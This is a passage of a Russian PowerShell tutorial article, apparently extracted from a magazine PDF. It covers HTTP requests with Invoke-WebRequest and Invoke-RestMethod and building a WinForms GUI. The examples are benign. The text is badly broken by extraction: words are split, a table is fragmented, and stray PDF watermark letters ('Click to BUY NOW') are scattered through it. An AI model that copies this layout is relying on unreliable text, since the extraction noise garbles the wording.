margin: 5em auto;

padding: 2em;

background-color: #fdfdff;

border-radius: 0.5em;

box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);

}

a:link, a:visited {

color: #38488f;

text-decoration: none;

}

@media (max-width: 700px) {

div {

margin: 0 auto;

width: auto;

}

}

</style>

</head>

<body>

<div>

<h1>Example Domain</h1>

<p>This domain is for use in illustrative examples in documents.

You may use this

domain in literature without prior coordination or asking for

permission.</p>

<p><a href="https://www.iana.org/domains/example">More

information...</a></p>

</div>

</body>

</html>

Подоб­ ным­ образом­ можно­ сохранять­ не только­ HTML-файлы­ , но и ресурсы­ других­ типов (тексто­ вые­ , графичес­ кие­ или мультимедий­ ные­ файлы­ и т. д.), к которым можно­ обратить­ ся­ на сайте­ .

Поиск HTML-элементов на странице

В свойствах­ Forms (формы­ ), Images (изображения­ ), InputFields (поля вво ­ да) и Links (ссылки­ ) объекта­ HtmlWebResponseObject сохраня­ ­ются массивы­ объектов­ , которые описыва­ ­ют соответс­ ­тву­ющие элемен­ ­ты HTML-разметки­ , полученной­ от сервера­ . Обрабаты­ ­вая эти коллекции­ , можно­ получить информацию­ об интересу­ ­ющих нас элемен­ ­тах на загружен­ ­ной странице­ .

Например­ , сохраним­ в переменной­ $web страницу­ результатов­ поиска­ слова­ PowerShell в Yandex:

PS C:\Script> $web = Invoke-WebRequest -Uri https://yandex.ru/search/

?text=PowerShell

Выделим­ на этой странице­ все ссылки­ на сайт habr.com. Для этого­ нужно­ отфильтро­ вать­ массив­ $web.Links, оставив­ в нем объекты­ , у которых зна ­ чение свойства­ href соответс­ тву­ ет­ маске­ *habr.com*:

PS C:\Script> $habr_links = $web.Links | Where-Object href -like

'*habr.com*'

В $habr_links находятся­ два объекта­ PSCustomObject, содержащие­ раз ­ личные HTML-атрибуты­ для ссылок­ :

PS C:\Script> $habr_links.count

2

PS C:\Script> $habr_links | Get-Member

TypeName: System.Management.Automation.PSCustomObject

Name

MemberType

Definition

----

----------

----------

Equals

Method

bool Equals(System.Object obj)

GetHashCode

Method

int GetHashCode()

GetType

Method

type GetType()

ToString

Method

string ToString()

class

NoteProperty

string class=Link Link_theme_normal

OrganicTitl...

 

 

data-counter

NoteProperty

string data-counter=["b"]

data-log-node

NoteProperty

string data-log-node=bf7fw01-00

href

NoteProperty

string href=https://habr.com/ru/company/

ruvds/b...

 

 

innerHTML

NoteProperty

string innerHTML=<div class="Favicon

Favicon_si...

 

 

innerText

NoteProperty

string innerText=...

outerHTML

NoteProperty

string outerHTML=<a tabindex="0" class="

Link Li...

 

 

outerText

NoteProperty

string outerText=...

tabindex

NoteProperty

string tabindex=0

tagName

NoteProperty

string tagName=A

target

NoteProperty

string target=_blank

Например­ , выведем значение­ атрибутов­ href и innerText для этих ссылок­ :

PS C:\Script> $habr_links | ForEach-Object {$_.href + " - " + $_.

innerText }

https://habr.com/ru/company/ruvds/blog/487876/ -

Что такое Windows PowerShell и с чем его едят? / Хабр

https://habr.com/ru/company/ruvds/blog/487876/ - habr.com›ru/company/

ruvds/blog/487876/

В свойстве­ ParsedHtml объекта­ HtmlWebResponseObject содержится­ объект­ типа mshtml.HTMLDocumentClass, который предос­ ­тавля­ет доступ­ к DOMдереву загружен­ ­ной HTML-страницы­ .

PS C:\Users\andrv> $html = $web.ParsedHtml

PS C:\Users\andrv> Get-Member -InputObject $html

TypeName: mshtml.HTMLDocumentClass

. . .

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

p

 

 

c

 

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПИШЕМ HTTP-ЗАПРОСЫ И ПАРСИМ СТРАНИЦЫ НА POWERSHELL

Если­ в HTML-коде имеются­ сценарии­ JavaScript, то по умолчанию­ при постро­ ении­ DOM-дерева они будут выполнены­ . При необходимос­ ти­ выпол ­ нение сценари­ ев­ можно­ отключить­ , указав­ параметр -UseBasicParsing.

В частнос­ ти­ , используя­ методы getElementById(), getElementsByName()

и getElementsByTagName(), можно­ получать объекты­ , соответс­ тву­ ющие­ HTML-элемен­ там­ с заданным­ идентифика­ тором­ , именем­ или тегом соответс­ ­ твенно­ .

Например­ , посмотрим­ , какой текст записан в первом­ заголовке­ второго­ уровня­ (HTML-тег <h2>):

PS C:\Users\andrv> $html.getElementsByTagName('h2')[0].innerText

Документация по PowerShell - PowerShell | Microsoft Docs

Найдем­

элемент­

с идентифика­

тором­

search-result:

 

 

 

PS C:\Users\andrv> $html.getElementById('search-result')

 

 

 

 

 

 

 

 

 

 

 

 

className

 

: serp-list serp-list_left_yes

 

 

id

 

 

 

: search-result

 

 

 

tagName

 

 

: UL

 

 

 

 

parentElement

 

: System.__ComObject

 

 

 

style

 

 

 

: System.__ComObject

 

 

 

. . .

 

 

 

 

 

 

 

 

Метод­

querySelector() позволя­

­ет найти­ HTML-элемент­

по определен­

­ному

CSS-селектору­ . Например­ , обратим­ ­ся к элемен­ ­ту с классом­ main__content:

PS C:\Users\andrv> $html.querySelector('.main__content')

className

: main__content

id

:

tagName

: DIV

parentElement

: System.__ComObject

style

: System.__ComObject

. . .

 

Подробнее­ о свойствах­ , методах и событиях­ объекта­ mshtml. HTMLDocumentClass можно­ прочитать­ в докумен­ тации­ на сайте­ Microsoft.

Выполнение POST-запросов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Коман­ длет­

Invoke-WebRequest позволя­

ет­ не только­ выполнять­

GET-запросы­

,

но и вызывать другие­

методы, определен­

ные­

в протоко­

ле­ HTTP (DELETE,

HEAD, MERGE, PATCH, POST, PUT, TRACE). Для этого­ нужный­

метод указыва­

ется­

в качестве­ значения­

параметра­ -Method.

 

 

 

 

 

 

 

 

 

 

 

 

Рассмот­

рим­

пример­

выполнения­

запроса­

с HTTP-методом POST, который

часто­ использует­ ся­ для передачи­ данных­

из веб форм или загрузки­

файлов­

на сервер­ . Обращать­

ся­ мы будем к ресурсу­ http://httpbin.org/post,

в результате­

сервер­ должен­

сообщить­

нам о полученных­ данных­ .

 

 

 

Переда­

вать­

мы будем два параметра­ с именами­

name и lastName, которые

поместим­ в хеш таблицу­

$params:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PS C:\Users\andrv> $params = @{name='Andrey'; lastName='Popov'}

 

 

 

 

Выпол­ ­ним Invoke-WebRequest с методом POST, поместив­

передаваемые­

параметры­ в тело запроса­

(параметр -Body):

 

 

 

 

 

 

 

 

 

 

PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-Method POST -Body $params

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

StatusCode

 

 

 

 

 

: 200

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

StatusDescription

: OK

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Content

 

 

 

 

 

 

: {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"args": {},

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"data": "",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"files": {},

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"form": {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"lastName": "Popov",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"name": "Andrey"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

},

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"headers": {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Content-Length": "26",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Content-Type": "application/x-www-form..

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RawContent

 

 

 

 

 

: HTTP/1.1 200 OK

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Connection: keep-alive

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Access-Control-Allow-Origin: *

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Access-Control-Allow-Credentials: true

 

 

 

 

 

 

 

 

 

 

Content-Length: 503

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Content-Type: application/json

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Date: Fri, 16 Jul 2021 03:03:13 GM...

 

 

 

Forms

 

 

 

 

 

 

: {}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Headers

 

 

 

 

 

 

: {[Connection, keep-alive], [Access-Control-Al

 

 

 

 

 

 

 

 

 

low-Origin, *], [Access-Control-Allow-Credent

 

 

 

 

 

 

 

 

 

ials, true], [Content-Length, 503]...}

 

 

 

Images

 

 

 

 

 

 

: {}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

InputFields

 

 

 

: {}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Links

 

 

 

 

 

 

: {}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ParsedHtml

 

 

 

 

 

: mshtml.HTMLDocumentClass

 

 

 

 

 

 

 

 

RawContentLength

: 503

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Отправ­ ляемые­ на сервер­ параметры­ командлет­ Invoke-WebRequest авто ­

матичес­ ки­ приводит­ к формату­ application/x-www-form-urlencoded, который использует­ ся­ при передаче­ данных­ из веб форм. Ответ в поле Content говорит о том, что сервер­ принял­ наши параметры­ и определил­ , что они были отправлены­ из формы­ .

Иногда­ бывает­ нужно­ передавать­ на сервер­ данные­ в формате­ JSON, а не в application/x-www-form-urlencoded. В этом случае­ следует­ указать­ параметр

-ContentType со значени­ ем­ application/json. Например­ :

PS C:\Users\andrv> $json_params = "{ 'name':'Andrey', 'lastName':

'Popov' }"

PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post

-ContentType "application/json" -Method POST -Body $json_params

StatusCode

: 200

StatusDescription

: OK

Content

: {

"args": {},

"data": "{ 'name':'Andrey', 'lastName':'Popov

' }",

"files": {},

"form": {},

"headers": {

 

"Content-Length": "39",

 

"Content-Type": "application/json",

 

"Host": "...

RawContent

: HTTP/1.1 200 OK

 

Connection: keep-alive

 

Access-Control-Allow-Origin: *

 

Access-Control-Allow-Credentials: true

 

Content-Length: 475

 

Content-Type: application/json

 

Date: Fri, 16 Jul 2021 03:43:04 GM...

Forms

: {}

Headers

: {[Connection, keep-alive], [Access-Control-Allo

 

w-Origin, *], [Access-Control-Allow-Credentials

 

, true], [Content-Length, 475]...}

Images

: {}

InputFields

: {}

Links

: {}

ParsedHtml

: mshtml.HTMLDocumentClass

RawContentLength

: 475

Как видим, при таком способе­ отправки­ запроса­ серверный­ скрипт, обра ­ батывающий­ обращения­ к ресурсу­ http://httpbin.org/post, извлек полученные­ данные­ и при формирова­ нии­ своего­ JSON-ответа­ поместил­ их в поле data, а не в поле form.

КОМАНДЛЕТ INVOKE-RESTMETHOD

Если­ мы обращаем­ ­ся к веб сервису­ , поддержи­ ­вающе­му REST API, то ответ сервера­ , скорее­ всего­ , будет содержать­ структуриро­ ­ван­ные данные­ в фор ­ мате JSON или XML. Так, в предыду­ ­щем примере­ мы с помощью командле­ ­та

Invoke-WebReques посылали­ POST-запрос­ на ресурс http://httpbin.org/ post и получали­ в ответ JSON-строку­ :

PS C:\Users\andrv> $web = Invoke-WebRequest -Uri http://httpbin.org/

post -Method POST -Body @{name='Andrey'; lastName='Popov'}

PS C:\Users\andrv> $web.Content

{

"args": {},

"data": "",

"files": {},

"form": {

"lastName": "Popov",

"name": "Andrey"

},

"headers": {

"Content-Length": "26",

"Content-Type": "application/x-www-form-urlencoded",

"Host": "httpbin.org",

"User-Agent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU)

WindowsPowerShell/5.1.19041.1023",

"X-Amzn-Trace-Id": "Root=1-60f2a42c-18f152db3b76b5d66d173e31"

},

"json": null,

"origin": "85.95.179.209",

"url": "http://httpbin.org/post"

}

Чтобы­ работать с полями ответа­ , мы должны­ преобра­ зовать­ JSON в объект­ PowerShell с помощью командле­ та­ ConvertFrom-Json:

PS C:\Users\andrv> $response = $web.Content | ConvertFrom-Json

PS C:\Users\andrv> $response

args

:

data

:

files

:

form

: @{lastName=Popov; name=Andrey}

headers : @{Content-Length=26; Content-Type=application/x-www-form-

urlencoded; Host=htt

pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10

.0; ru-RU) Windows

 

PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a42c-

18f152db3b76b5d66d

 

173e31}

json

:

origin

: 85.95.179.209

url

: http://httpbin.org/post

PS C:\Users\andrv> $response.form.name

Andrey

В подобных­ случаях­ , когда­ от сервера­ мы получаем­ структуриро­ ван­ ные­ дан ­ ные, удобнее­ пользовать­ ся­ командле­ том­ Invoke-RestMethod, который дей ­ ствует­ аналогич­ но­ Invoke-WebRequest и имеет­ такие же параметры­ , но при этом автомати­ чес­ ки­ преобра­ зует­ ответ от сервера­ в объект­ PowerShell.

Выпол­ ним­ наш запрос­ с помощью Invoke-RestMethod, сохранив­ резуль ­ тат в переменной­ $result:

PS C:\Users\andrv> $result = Invoke-RestMethod -Uri http://httpbin.

org/post -Method POST -Body @{name='Andrey'; lastName='Popov'}

Проверим­ тип и содержимое­ переменной­ $result:

PS C:\Users\andrv> Get-Member -InputObject $result

TypeName: System.Management.Automation.PSCustomObject

Name

MemberType

Definition

----

----------

----------

Equals

Method

bool Equals(System.Object obj)

GetHashCode Method

int GetHashCode()

GetType

Method

type GetType()

ToString

Method

string ToString()

args

NoteProperty

System.Management.Automation.PSCusto...

data

NoteProperty

string data=

files

NoteProperty

System.Management.Automation.PSCusto...

form

NoteProperty

System.Management.Automation.PSCusto...

headers

NoteProperty

System.Management.Automation.PSCusto...

json

NoteProperty

object json=null

origin

NoteProperty

string origin=85.95.179.209

url

NoteProperty

string url=http://httpbin.org/post

PS C:\Users\andrv> $result

 

 

 

args

:

 

data

:

 

files

:

 

form

: @{lastName=Popov; name=Andrey}

headers : @{Content-Length=26; Content-Type=application/x-www-form-

urlencoded; Host=htt

pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10

.0; ru-RU) Windows

 

PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a897-

6354ce272644b6d412

 

 

560a9b}

 

json

:

 

origin

: 85.95.179.209

 

url

: http://httpbin.org/post

 

Как видим, вместо­ строки­ в формате­

JSON мы получаем­ PowerShell-объект­

типа System.Management.Automation.PSCustomObject и можем сразу­ обращать­ ­ся к нужным­ свойствам­ :

PS C:\Users\andrv> $result.form.lastName

Popov

ИТОГИ

Итак, для обращения­ к веб ресурсам­ по протоко­ лу­ HTTP в PowerShell име ­ ются два стандар­ тных­ командле­ та­ : Invoke-WebRequest и InvokeRestMethod. Для выполнения­ HTTP-запросов­ к веб ресурсам­ , возвра­ ­ щающим HTML-страницы­ , удобнее­ использовать­ командлет­ InvokeWebRequest, а для работы с внешними­ REST API, возвра­ щающи­ ми­ струк ­ турирован­ ные­ данные­ , лучше­ подойдет­ командлет­ Invoke-RestMethod.

Действу­ ­ют эти командле­ ­ты аналогич­ ­но друг другу­ , за исключени­ ­ем того, что Invoke-RestMethod автомати­ ­чес­ки преобра­ ­зует ответ от сервера­ в объ ­

ект PowerShell.

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

c

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

-x

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Андрей Попов andpop@mail.ru

СОЗДАЕМ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС ДЛЯ СЦЕНАРИЕВ

Работая­ в терминале­ , мы управляем­ сценари­ ями­ PowerShell с помощью параметров­ , которые указыва­ ются­ в командной­ строке­ при их вызове. Если с нашим сценари­ ем­ будут работать обычные­ пользовате­ ли­ , то, добавив к нему простой­ графичес­ кий­ интерфейс, можно­ избавить­ их от необ ­ ходимости­ вводить­ названия­ параметров­ . О том, как при ­ делать GUI к сценари­ ям­ PowerShell, я сейчас­ расска­ жу­ .

В Windows PowerShell доступны­ два варианта­ создания­ GUI с помощью объ ­ ектов .NET Framework. Классичес­ кие­ элемен­ ты­ интерфейса­ Windows можно­ добавить с помощью библиоте­ ки­ .NET Windows Forms (WinForms), которая поддержи­ валась­ в .NET c самого начала. Более современ­ ный­ вариант­ дизай ­

на реализует­ ся­ с помощью технологии­ Windows Presentation Foundation (WPF),

которая была добавлена­ позже­ в .NET Framework 3.0.

Современ­ ный­ PowerShell. Андрей Попов

Эта статья — глава­ из книги­ Андрея Попова «Современ­ ный­ PowerShell», вышедшей­ в издатель­ стве­ «БХВ» в марте­ этого­ года. В книге­ подробно­ опи ­

сан язык PowerShell и работа с оболоч­ кой­ Windows PowerShell в Windows Terminal, взаимо­ дей­ ствие­ с файловой­ системой­ , структуриро­ ван­ ными­ дан ­ ными и веб ресурсами­ . Автор разбира­ ет­ управление­ процес­ сами­ , службами­

и серверами­ автомати­ ­зации, расска­ ­зыва­ет, как создать­ GUI для сценари­ ­ев Windows PowerShell, уделяет­ внимание­ кросс платформен­ ­ным возможнос­ ­тям

PowerShell в macOS и Linux.

Если­ ты админис­ ­три­руешь рабочие станции­ , серверы­ или локальные­ сети под управлением­ Windows, книга­ «Современ­ ­ный PowerShell» поможет тебе освоить­ секреты­ и хитрости­ этой технологии­ и автомати­ ­зиро­вать множес­ ­тво рутинных­ задач.

ПОСТРОЕНИЕ GUI С ПОМОЩЬЮ WINDOWS FORMS

Давай­ создадим­ простей­ шую­ форму­ с надписью­ и кнопкой­ , выполняя­ коман ­ ды непосредс­ твен­ но­ в консоли­ PowerShell.

Как мы знаем­ , платформа­ .NET постро­ ­ена таким образом­ , что для обра ­ щения к тем или иным объектам­ нужно­ предваритель­ ­но загрузить­ в операци­ ­ онную память соответс­ ­тву­ющую сборку­ (assembly) — динамичес­ ­кую биб ­ лиотеку­ определен­ ­ного вида. Наиболее­ часто­ использующиеся­ сборки­ заг ­ ружаются­ в PowerShell автомати­ ­чес­ки. Для обращения­ к объектам­ WinForms из PowerShell нужно­ сначала­ загрузить­ сборку­ , поддержи­ ­вающую эти объ ­ екты:

PS C:\Users\andrv> Add-Type -Assemblyname System.Windows.Forms

Графичес­ кий­ интерфейс в терминах­ WinForms — это набор элемен­ тов­ управления­ (кнопки­ , поля ввода­ , списки­ , флажки­ и т. д.), которые располага­ ­ ются в контей­ нерах­ (формы­ , панели, вкладки­ ). Изменяя­ значения­ свойств­ объектов­ , соответс­ тву­ ющих­ элемен­ там­ управления­ , мы определя­ ем­ внешний­ вид этих элемен­ тов­ (размер­ , цвет фона, используемый­ шрифт и т. д.).

Любое­ графичес­ кое­ приложе­ ние­ WinForms должно­ иметь главную­ фор ­ му — объект­ типа Windows.Forms.Form. Создадим­ нашу главную­ форму­

и сохраним­ соответс­ ­тву­ющий объект­ в переменной­ $form:

PS C:\Users\andrv> $form = New-Object System.Windows.Forms.Form

Наша­ форма­ пока находится­ только­ в оператив­ ной­ памяти, на экране­ мы ее не видим. Зададим заголовок­ формы­ (свойство­ Text объекта­ $form):

PS C:\Users\andrv> $form.Text = 'Первая форма'

Помес­ ­тим на форму­ надпись­ — для этого­ нужно­ создать­ объект­ типа System. Windows.Forms.Label и присвоить­ значение­ свойству­ Text этого­ объекта­ :

PS C:\Users\andrv> $label = New-Object System.Windows.Forms.Label

PS C:\Users\andrv> $label.Text = 'Привет!'

Кроме­ надписи­ , на форму­ можно­ помещать другие­ элемен­ ты­ управления­ , которым соответс­ тву­ ют­ объекты­ из пространс­ тва­ имен System.Windows. Forms. Некоторые­ из этих объектов­ представ­ лены­ в таблице­ ниже.

Об ъ-­ Описание­ ект

Butt

Кнопка­ на форме­ . Надпись­

на кнопке­ задается­

свойством­

Text

on

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Che

Флажок­

(чекбокс­

) — элемент­

управления­

для выбора одного­

ckBo

или несколь­

­ких пунктов­

из предложен­

­ных вариантов­

 

x

 

 

 

 

 

 

 

 

 

 

 

 

Che

cked Состоит­ из списка­ элемен­ ­тов (ListBox), перед каждым­ из которых ListB помещен флажок­ (чекбокс­ ) для возможнос­ ­ти выбора

ox

Com

Состоит­

из поля для ввода­ текста­ (TextBox) и связан­ ­ного с ним

boB

раскры­ ­вающе­гося списка­ значений­

(ListBox)

 

 

ox

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Data

Основной­

элемент­

управления­ для представ­

­ления табличных­

дан ­

Grid

ных (поддержи­

­вает связь с базой данных­ )

 

 

View

 

 

 

 

 

 

 

 

 

 

Grou Исполь­ ­зует­ся для выделения­ групп элемен­ ­тов управления­ (чаще pBox всего­ радиокно­ ­пок), возле­ которых отобража­ ­ется рамка­

Imag

Контей­ ­нер для размещения­

коллекции­

изображений­

, исполь ­

зуемых другими­

элемен­ ­тами управления­

(например­

, ListView

eList

и TreeView)

 

 

 

 

 

 

 

 

 

 

 

 

 

ListB Список­ элемен­ ­тов, которые могут быть выбраны­ . Может содер ­ ox жать простой­ текст или объекты­

Pane Видимый­ или невидимый­ контей­ ­нер для группиров­ ­ки элемен­ ­тов

lуправления­

Pictu

Исполь­

­зует­ся для размещения­

графичес­

­ких изображений­

в нес ­

reBo

кольких­ стандар­ ­тных форматах­

 

 

 

 

 

x

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Prog

 

 

 

 

 

 

 

 

 

 

 

 

 

ress

Индикатор­

хода выполнения­

какого либо процес­ ­са

 

Bar

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Radi

Перек­ лючатель­

(радиокнопка­

)

для выбора

одного­ варианта­

oBut

из списка­ предложен­

ных­

 

 

 

 

 

 

ton

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Text

Элемент­

для ввода­ текста­ в одной или несколь­

­ких строках­

 

Box

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Tree

Отображение­

данных­ в виде узлов дерева

 

 

View

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для задания размеров­ и расположе­ ­ния элемен­ ­тов управления­ используют­ ­ся объекты­ типа System.Drawing.Point, в которые передаются­ координаты­ : первая­ — по горизонтали­ , вторая­ — по вертикали­ (начало координат­ раз ­ мещается­ в верхнем­ левом углу, ось X направле­ ­на вправо­ , ось Y — вниз). Нашу надпись­ мы сместим­ от верхне­ ­го левого угла на 20 пикселов­ вправо­ и 10 пикселов­ вниз. Объект­ с нужными­ координата­ ­ми записывает­ ­ся в свой ­

ство Location объекта­ $label:

PS C:\Users\andrv> $label.Location = New-Object System.Drawing.Point

20,10

Пока­ надпись­ представ­ ­ляет собой отдельный­ объект­ , который не связан­

с основной формой­ . Поместим­ надпись­ на форму­ , добавив объект­ $label в коллекцию­ $form.Controls с помощью метода Add:

PS C:\Users\andrv> $form.Controls.Add($label)

Теперь­ создадим­ кнопку­ (объект­ типа Windows.Forms.Button) с надписью­

«Нажми­ !»:

PS C:\Users\andrv> $button = New-Object Windows.Forms.Button

PS C:\Users\andrv> $button.Text = "Нажми!"

Зададим­ координаты­ для кнопки­ :

PS C:\Users\andrv> $button.Location = New-Object System.Drawing.Point

20,40

Помес­ тим­ кнопку­ на форму­ :

PS C:\Users\andrv> $form.Controls.Add($button)

Теперь­ добавим нашей форме­ функци­ ональ­ ность­ — по нажатию кнопки­ $button текст в надписи­ $label будет меняться­ на «Пока!». Для этого­ с помощью метода Add_Click нужно­ определить­ обработ­ чик­ события Click на кнопке­ . В этот метод передается­ блок кода, который будет выполнен­ при нажатии кнопки­ . В нашем случае­ достаточ­ но­ изменить­ значение­ свойства­ $label.Text:

PS C:\Users\andrv> $button.Add_Click({$label.Text='Пока!'})

Если­ бы обработ­ ­чик события был более объемный­ , то удобнее­ было бы заранее сохранить­ соответс­ ­тву­ющий блок кода в переменной­ , которую затем передать в метод Add_Click.

Теперь­ с помощью метода ShowDialog можно­ отобразить­ созданную­ фор ­ му с элемен­ ­тами управления­ на экране­ .

PS C:\Users\andrv> $form.ShowDialog()

Форма­ , созданная­ в PowerShell

По нажатию кнопки­ надпись­ на форме­ изменит­ ся­ .

Изменения­ в элемен­ те­ на форме­

Итак, мы рассмот­ рели­ простей­ ший­ пример­ создания­ формы­ в PowerShell с помощью библиоте­ ки­ WinForms. Более сложные­ интерфейсы­ реализуют­ ся­ по той же схеме­ :

1.Загружа­ ­ем сборку­ System.Windows.Forms.

2.Создаем­ объекты­ , соответс­ ­тву­ющие главной­ форме­ , контей­ ­нерам и эле ­ ментам­ управления­ .

3.Привязы­ ­ваем элемен­ ­ты управления­ к нужным­ контей­ ­нерам и форме­ .

4.Задаем­ свойства­ элемен­ ­тов управления­ , определя­ ­ющие их внешний­ вид и расположе­ ­ние внутри­ контей­ ­неров.

5.Пишем блоки­ кода для обработ­ ­чиков событий и привязы­ ­ваем их к элемен­ ­ там управления­ .

6.Показываем­ главную­ форму­ на экране­ .

Как видим, при создании­ графичес­ ­кого интерфейса­ на PowerShell с помощью WinForms значитель­ ­ная часть работы приходит­ ­ся на написание­ шаблонно­ ­го кода для создания­ элемен­ ­тов управления­ и задания их свойств­ . Конечно­ , намного­ удобнее­ и проще­ было бы строить­ интерфейс с помощью визуаль­ ­ ного конструк­ ­тора с дальнейшей­ автомати­ ­чес­кой генерацией­ соответс­ ­тву ­ ющего­ кода на языке­ PowerShell. Подобные­ конструк­ ­торы есть в некоторых­ платных­ профес­ ­сиональ­ных средах­ разработ­ ­ки для PowerShell (например­

в Sapien PowerShell Studio) или в сервисе­ PowerShell GUI Designer. Из бес ­

платных­ инстру­ ­мен­тов можно­ выделить утилиту­ PowerShell WinForms Creator, которая сама написана­ на PowerShell.

